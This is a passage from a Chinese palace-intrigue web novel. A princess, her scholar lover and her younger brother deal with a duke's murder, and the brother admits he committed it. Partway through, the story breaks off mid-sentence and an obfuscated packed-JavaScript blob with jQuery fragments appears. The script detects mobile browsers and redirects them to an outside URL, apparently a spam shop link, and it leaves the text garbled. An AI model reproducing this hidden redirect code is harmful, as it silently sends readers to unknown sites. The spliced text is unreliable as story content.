闻铮在潮湿的空气里嗅到了一点苍梧山的味道,迷迷糊糊中暗道她应该太怀念那段时光了,那时她有父母、有师傅、有师兄,几乎什么都有。
现在一切随风散。
雨停在破晓时分,沈青辞起身上朝,动作轻柔,怀里人还是醒了。
“还早,你在睡一会。”沈青辞一面起身一面将被角掖紧:“桌子有松子糖。”
闻铮懒懒地看着穿衣起身的人,嘴里残留着松子糖甜腻味,却想不起来什么时候吃的糖,她忽然恍惚冒出个不着边际的想法,这样的人倘若真要给出真心待人,怕是会把他的妻子宠坏了。
想到这里,闻铮又觉得可笑,这与她又有什么关系?真心是她最不需要考虑的问题。
雨过天晴,天光乍现,闻铮看着沈青辞的背影,终于意识到哪里不对了。
沈青辞穿着一身绯红官服!
状元郎出门时恰巧与苏茉碰面,沈青辞先点头示意:“长公主浅眠,若是探脉,请苏小姐稍侯。”
苏茉不置可否,端详了好半天沈青辞的背影才进门:“师姐,还好吗?我来探脉。”
闻筝手一伸,另一只手盖到脸上:“我这毛病什么时候能好?时不时忘记些事很麻烦。”
就像她现在想不起来昨晚到底发生了什么。
苏茉两指探脉,脑子里却飘着沈青辞的背影,那感觉太熟悉,问道:“你和沈青辞说过我会治病?”
苏茉在医术上天分寡淡,只会治一种病——长公主走火入魔的病,闻铮有一段时间习武急于求成,以至于走火入魔,她便在那时学会怎么医治。
但时不时失忆,苏茉到现在都根治不了。
“没有。”
苏茉目光暗了暗,道:“如果师兄在,你肯定早就痊愈了。”
“你说我师兄?早不知道在哪潇洒。”闻铮移开手,想不起来她这位师兄的样子了:“沈青辞在哪买的糖,为何回苦啊。”
***
沈青辞与邵景泽在午门相遇,两人抬起眼皮相互对视一眼,默契不作声。
乾清宫里愁云密布,颖国公徐正惨死,从天子至大臣无一不愤慨,要求严惩凶手,却不知道凶手是谁,一时之间众说纷纭,好不热闹。
直到镇北侯赵申提出国公府内高手如林,徐正死相残忍,非世仇且高手才能做到,吵闹不休的朝堂安静下来。
长公主闻铮非常符合这两个条件,是以有人说出闻铮二字。
邵景泽眼眸沉了沉,斜睨站在武将队中的赵申,端起双臂准备反驳,沈青辞先一步出列,再次抢了他要当英雄好汉的机会:“臣不敢苟同,长公主手脚经脉具断,已不能再起任何兵器。”
赵申反唇相讥:“这天下没有杀手可以买凶,没有兵器可以锻造…”
沈青辞抢过话头,掂掂袖子,平心静气:“没有证据可以胡编乱造。”
“你,”赵申一时语塞,扭头看着皇上。
当今皇上并没有受过正统礼教,除了一颗反叛的心,没有任何优点,话锋一转:“司徒大人怎么看?”
邵景泽向左跨出一步,面无改色:“臣认同定罪需要证据这句话。”
这就是不折不扣的支持沈青辞了。
邵景泽是邵雷的儿子,在旧朝毫无建树,要不是新朝哪能当上司徒大人?
赵申嘲弄:“要证据何其简单?只要长公主能去刑部大牢里走一趟,踏出牢房时还能不改口…”
“谁、敢?”邵景泽倨傲抬头,冷眼扫视一周,无人敢接这话:“我朝何时屈打成招?”
老一点的官员知道当年的秘幸,敬佩司徒大人英雄出少年,哑然不做声。
沈青辞自始自终没有动过气,清冷的君子一如往常平心静气:“臣可以为长公主证明,昨夜臣与长公主同床共枕,所以长公主有没有出门,臣比任何人都清楚。”
此话一出,大殿内落针可闻。
邵景泽斜过身,不错眼的盯着沈青辞,隐于宽大朝袍下的手逐渐攥紧,神色几变,无法平静,状元郎身上发皱的朝服刺得他眼眶欲裂,他记起来了,沈青辞来的路上坐落着公主府。
明明昨晚是他送闻铮回去的,怎么会突然跑出来沈青辞同床共枕?但依着闻铮个性,没有她的默许,沈青辞不够胆认,正是因为有长公主的默认,才最伤人。
公主府从不留人过夜。
邵景泽几不可察的疼了下。
“你的意思…”皇上没好意思往下说,这对新科状元来说是个侮辱,清流文人哪有给人当面首的?
沈青辞双眼微眯,唇角勾起,显然他不认为这是侮辱,反而这是无比高尚的荣耀,落地有声,好叫所有人都听到了:“臣,是长公主的面首。”
“嘭——”象牙笏板从中断了两截,邵景泽面色铁青,掌心一片血,好似不觉得疼。
***
大约是徐正死了,大仇报了一点点,以至于看见闻潮生厮混到现在回来,闻铮心情不错,没有计较。
闻潮生从前院绕了一圈,最后如同玄猫一般靠在长公主的榻上,声音烦闷:“你怎么不问问我去哪?”
闻铮放下手中帕子很奇怪:“我为什么要问?你已经是长大了。”
就像苏茉说的那样,闻潮生现在已经是乾安王了,她多少要留点面子。
闻潮生抬起眼皮与闻铮对视,就是这个眼神让他无力,一面拿他当最亲的人,哄着他什么夫妻一体,一面什么重要事情都不告诉他,之前拿他小孩子,现在又说他长大了。
他这个长姐,真的很不乖啊。
闻潮生眉间小痣一跳,问道:“你昨晚去哪了?”
闻铮愣了下,没想好怎么回答。杀人不过头点地,只是死的是徐正,她已经涉案其中,当然希望闻潮生干干净净,没必要踏入这趟浑水。
闻潮生眼底情绪复杂,不甘与恼怒并存,刹那动怒:“你还要隐瞒吗?说到底你还是不在意我!”
闻铮头疼,这东一句西一句在说什么呢?怎么能扯到在意不在意的问题上?
“什么人都可以与你并肩携手,什么人都可以与你共同进退!”不甘与恼怒越演越烈,像一把熊熊燃烧的烈火,把他从里到外都点燃了:“就我不行?!现在全朝堂都知道徐正死了,你还要瞒着我?”
他可以忍受闻铮独行,但无法忍受站在闻铮身边的人不是自己。
“徐正死了!”闻潮生胸口起伏,眸色凌厉:“死于一刀毙命!”
一刀毙命?
闻铮摇头,截口反驳:“不可能!徐正一定是血尽而亡!”
她费那么大劲把人吊起来就是要徐正也尝尝当年太子所受过的痛苦,一刀毙命也太便宜他了!
“所以,”闻潮生靠在闻铮腿上,情绪低落,阴测测的笑:“你承认昨晚你去了国公府了?”
长公主哑然失笑,用手指戳了戳闻潮生后脑勺:“鬼心眼儿见长,全用在你姐姐身上了。”
闻潮生不用回头也知道闻铮的手在哪,不费吹灰之力就把闻铮的手拉到胸前,喃喃道:“是姐姐先不坦诚的。”
好吧,闻铮妥协。
“此事凶险无比,我不希望你涉险。”
我不希望你涉险。
闻潮生将这几个字在心中翻来覆去的重复,火气消了一半。
他与所有人都不同,他是闻铮心里独一份的存在。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480179|201693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些人陪她涉险又如何,闻铮想保护的只有自己。
这么一想,闻潮生仰面望她:“我已经涉险了。”
闻铮皱眉。
“姐姐,你做事不干不净,下手优柔寡断,”闻潮生轻描淡写的点评:“我替你善后了。”
“你杀了他。”
“是。”闻潮生自小接受的教育便是成为男人首先一条,便是敢做敢认,他是这样想的,也是这样做的:“一刀毙命。”
闻铮重重的叹口气:“我想让你置身事外,你偏偏要踏进这场浑水里。”
闻潮生眉尖挑起一点笑,他是真心实意的,所以整个人都无比明媚,平静柔和:“姐姐,你相信那个人,不一定能做到。”
“今日早朝,沈青辞自认是你的面首,他避嫌,不得参与其中,”他说起这些时语气平静,挑拨离间的意气一点没减:“此案落入邵景泽手里了。”
闻铮倏忽抬眸,忽然生出一场巨大被愚弄的感觉,真是活见鬼了,沈青辞已经知晓她的用意,还是选择背叛?
闻潮生笑意渐甚,阴一句阳一句:“姐姐,你怎么能相信他呢?他与你有什么关系,沈青辞之前不也是领了彻查密道的差事么,你瞧,结果也相差无几。”
人心难测,出尔反尔是再正常不过的事情,闻铮规律的敲打桌子,什么原因会令沈青辞反水?
她眼眸暗了暗,不由自主的想到昨晚他问情债,心里忽然冒出一个很不切实际的想法。
我不会真的在哪处留过情吧?
这想法一冒出来就被她掐下去了,煽风点火的闻潮生幽幽叹道:“这些人怎么配得到你的信任呢?姐姐,只有我一直对你视若珍宝,只有我才能与你共甘共苦。”
闻铮垂首,闻潮生仰面,长久的对视里长公主错开眼。
闻潮生楚楚可怜,撑起点身子,与闻铮靠的更近一些,他并不去勾栏妓/院,无师自通学会这身本领,咬着字眼问:“姐姐,不信吗?”
姐姐,你信他人,会不会相信我?
闻铮一指点在闻潮生肩上,她虽拿不起花神剑,但不代表手无缚鸡之力。
闻潮生垂眼望着右肩上的指尖,修长白皙,常年不练剑导致指腹的薄茧褪去,他唇角突然勾点笑意,把握指尖力度沉下去,微微叹气:“姐姐——”
“别撒娇了——”闻铮无奈,闻潮生撒娇天赋与生俱来,从小很会讨父皇母后欢心,但对于差不多同龄的太子与闻铮而言毫无杀伤力,他们根本不吃这套。
“敢问乾安王,现如今几岁了?”闻铮沉着脸:“动不动就撒娇的毛病能不能改一下?”
闻潮生辩驳:“该反思的应该是姐姐,我怎么不对其他人撒娇,偏要对姐姐撒娇?”
好荒唐又理直气壮的理由!闻铮差一点就被说服了。
“所谓恃宠而骄,”闻铮暗叹自己果然不是那种古板严厉的长辈,惯起孩子也是没样子:“大约是我平日太宠你了。”
闻潮生偏头笑了:“姐姐,你宠的远远不够啊。”
闻铮按着眉心,无比惆怅,这还不够吗?那还要怎么宠?宠到每日上房揭瓦吗?
当好一个姐姐可真是不容易。
不过眼下最重要的问题不是在宠爱上,徐正的案子落到邵景泽手里,他们都知道这意味什么。
“你有留下什么吗?”闻铮问道:“姐姐替你善后。”
闻潮生屈起一只腿,眸色一动,“宠爱”二字最后落到“善后”上,是另一番的宠,不一样的爱。
“不用了,我做事向来干净。邵景泽想查也查不到我头上。”
闻铮眼神动了一下。
那么需要善后的就是自己了。